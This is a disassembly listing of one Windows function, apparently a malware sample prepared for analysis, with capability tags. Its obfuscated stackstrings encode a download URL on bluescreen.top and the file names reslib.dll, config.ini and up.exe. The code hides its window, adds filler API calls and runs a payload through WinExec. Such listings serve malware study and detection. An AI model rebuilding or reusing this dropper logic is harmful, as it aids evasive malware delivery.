Function at 0x401b70
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Check mutex on windows
Contain obfuscated stackstrings
Create process on windows
Delete directory
Get common file path
Get disk information
Get memory capacity
Hide graphical window
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x51e04d
mov eax, dword fs:[0]
push eax
sub esp, 0x2ec
mov eax, dword [0x569600]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.00401750
test al, al
je 0x401bae
push 0xffffffffffffffff
call fcn.004fc530
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x54aecc
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0x54aedc
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
call ebx
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [ebp - 0x2f8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
push 0x54aee8
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push str.test
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetACP]
lea ecx, [ebp - 0x2f8]
push ecx
call ebx
mov edi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call edi
lea edx, [ebp - 0x2f4]
push edx
call ebx
push eax
call edi
call dword [sym.imp.KERNEL32.dll_GetACP]
lea eax, [ebp - 0x2e8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
call dword [sym.imp.KERNEL32.dll_GetACP]
mov dword [ebp - 4], 0xffffffff
test esi, esi
je 0x401c6c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401c6c
push 0xffffffffffffffff
call fcn.004fc530
push 0x103
lea ecx, [ebp - 0x177]
push 0
push ecx
mov dword [ebp - 0x3c], 0x505c3a43
mov dword [ebp - 0x38], 0x72676f72
mov dword [ebp - 0x34], 0x46206d61
mov dword [ebp - 0x30], 0x73656c69
mov dword [ebp - 0x2c], 0x38782820
mov dword [ebp - 0x28], 0x5c2936
mov byte [ebp - 0x178], 0
call fcn.004fd850
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
lea edx, [ebp - 0x280]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x2e8]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x1428
mov dword [ebp - 0x24], 0x64257325
mov dword [ebp - 0x20], 0x676e702e
mov byte [ebp - 0x1c], 0
call ebx
mov esi, dword [sym.imp.USER32.dll_KillTimer]
push eax
call esi
mov dword [ebp - 0x58], 0x70747468
mov dword [ebp - 0x54], 0x622f2f3a
mov dword [ebp - 0x50], 0x7365756c
mov dword [ebp - 0x4c], 0x65657263
mov dword [ebp - 0x48], 0x6f742e6e
mov dword [ebp - 0x44], 0x65682f70
mov dword [ebp - 0x40], 0x2f6461
call ebx
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0
call ebx
push eax
call edi
push 4
call ebx
mov edi, dword [sym.imp.USER32.dll_GetWindow]
push eax
call edi
push 2
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x178]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0
push 0
push 0
push 0
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push 0xcf0000
push 0x54aef4
push 0x54aefc
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0x54af08
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xfffffffffffffff0
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
push 0x121f
call ebx
push eax
call esi
call dword [sym.imp.KERNEL32.dll_GetACP]
push 4
mov dword [ebp - 0x64], 0x6c736572
mov dword [ebp - 0x60], 0x642e6269
mov word [ebp - 0x5c], 0x6c6c
mov byte [ebp - 0x5a], 0
call ebx
push eax
call edi
push str.bul
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x54af20
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x2a4], 0xf
mov dword [ebp - 0x2a8], 0
mov byte [ebp - 0x2b8], 0
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401e25
sub eax, esi
mov edi, eax
lea eax, [ebp - 0x3c]
lea esi, [ebp - 0x2b8]
call fcn.00401070
mov dword [ebp - 4], 0x12
lea eax, [ebp - 0x178]
mov dword [ebp - 0x288], 0xf
mov dword [ebp - 0x28c], 0
mov byte [ebp - 0x29c], 0
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401e70
sub eax, edx
mov edi, eax
lea eax, [ebp - 0x178]
lea esi, [ebp - 0x29c]
call fcn.00401070
mov ecx, esi
push ecx
lea edx, [ebp - 0x64]
lea ecx, [ebp - 0x2b8]
mov byte [ebp - 4], 0x13
call fcn.00402990
add esp, 4
test al, al
mov esi, 0x10
sete byte [ebp - 0x2ed]
cmp dword [ebp - 0x288], esi
jb 0x401ec9
mov edx, dword [ebp - 0x29c]
push edx
call fcn.004049c6
add esp, 4
mov edi, 0xf
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x288], edi
mov dword [ebp - 0x28c], 0
mov byte [ebp - 0x29c], 0
cmp dword [ebp - 0x2a4], esi
jb 0x401f03
mov eax, dword [ebp - 0x2b8]
push eax
call fcn.004049c6
add esp, 4
cmp byte [ebp - 0x2ed], 0
je 0x401f13
push 0
call fcn.004fc530
push 0x1389
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x178]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0x54af28
mov dword [ebp - 0x70], 0x666e6f63
mov dword [ebp - 0x6c], 0x692e6769
mov word [ebp - 0x68], 0x696e
mov byte [ebp - 0x66], 0
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
lea ecx, [ebp - 0x280]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x2a4], edi
mov dword [ebp - 0x2a8], 0
mov byte [ebp - 0x2b8], 0
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401fa3
sub eax, esi
mov edi, eax
lea eax, [ebp - 0x3c]
lea esi, [ebp - 0x2b8]
call fcn.00401070
mov dword [ebp - 4], 0x1a
lea eax, [ebp - 0x178]
mov dword [ebp - 0x288], 0xf
mov dword [ebp - 0x28c], 0
mov byte [ebp - 0x29c], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401fe7
sub eax, edx
mov edi, eax
lea eax, [ebp - 0x178]
lea esi, [ebp - 0x29c]
call fcn.00401070
mov edx, esi
push edx
lea edx, [ebp - 0x70]
lea ecx, [ebp - 0x2b8]
mov byte [ebp - 4], 0x1b
call fcn.00402990
add esp, 4
test al, al
mov esi, 0x10
sete byte [ebp - 0x2ed]
cmp dword [ebp - 0x288], esi
jb 0x402040
mov eax, dword [ebp - 0x29c]
push eax
call fcn.004049c6
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x288], 0xf
mov dword [ebp - 0x28c], 0
mov byte [ebp - 0x29c], 0
cmp dword [ebp - 0x2a4], esi
jb 0x402079
mov ecx, dword [ebp - 0x2b8]
push ecx
call fcn.004049c6
add esp, 4
cmp byte [ebp - 0x2ed], 0
push 0
je 0x402089
call fcn.004fc530
mov dword [ebp - 0x18], 0x652e7075
mov word [ebp - 0x14], 0x6578
mov byte [ebp - 0x12], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x1427
push 0x5f
call ebx
mov esi, dword [sym.imp.USER32.dll_SetTimer]
push eax
call esi
push 1
lea edx, [ebp - 0x58]
push edx
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x178]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x33c
push 0x356
call ebx
mov edi, dword [sym.imp.USER32.dll_GetDC]
push eax
call edi
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
lea edx, [ebp - 0x2f4]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
push 0x232b
push 0x4c
call ebx
push eax
call esi
push 0
call edi
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0x16c
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0xffffffffffffffeb
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x2a4], 0xf
mov dword [ebp - 0x2a8], 0
mov byte [ebp - 0x2b8], 0
lea esi, [eax + 1]
jmp 0x402160
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402160
sub eax, esi
mov edi, eax
lea eax, [ebp - 0x3c]
lea esi, [ebp - 0x2b8]
call fcn.00401070
mov dword [ebp - 4], 0x22
lea eax, [ebp - 0x178]
mov dword [ebp - 0x288], 0xf
mov dword [ebp - 0x28c], 0
mov byte [ebp - 0x29c], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4021a4
sub eax, edx
mov edi, eax
lea eax, [ebp - 0x178]
lea esi, [ebp - 0x29c]
call fcn.00401070
mov eax, esi
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x2b8]
mov byte [ebp - 4], 0x23
call fcn.00402990
add esp, 4
test al, al
mov esi, 0x10
sete byte [ebp - 0x2ed]
cmp dword [ebp - 0x288], esi
jb 0x4021fd
mov ecx, dword [ebp - 0x29c]
push ecx
call fcn.004049c6
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x288], 0xf
mov dword [ebp - 0x28c], 0
mov byte [ebp - 0x29c], 0
cmp dword [ebp - 0x2a4], esi
jb 0x402236
mov edx, dword [ebp - 0x2b8]
push edx
call fcn.004049c6
add esp, 4
cmp byte [ebp - 0x2ed], 0
je 0x402246
push 0
call fcn.004fc530
lea eax, [ebp - 0x3c]
lea ecx, [ebp - 0x2d8]
call fcn.00402330
call ebx
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
mov esi, dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
lea eax, [ebp - 0x2bc]
push eax
call edi
push 0
call ebx
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x54af2c
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea eax, [ebp - 0x18]
mov dword [ebp - 4], 0x26
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4022a1
sub eax, ecx
push eax
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x2d8]
call fcn.00402380
lea ecx, [ebp - 0x2f4]
push ecx
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call esi
push 0x54af34
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea edx, [ebp - 0x2bc]
push edx
call edi
cmp dword [ebp - 0x2c4], 0x10
mov eax, dword [ebp - 0x2d8]
jae 0x402305
lea eax, [ebp - 0x2d8]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x2ec]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0xffffffffffffffff
call fcn.004fc530
int3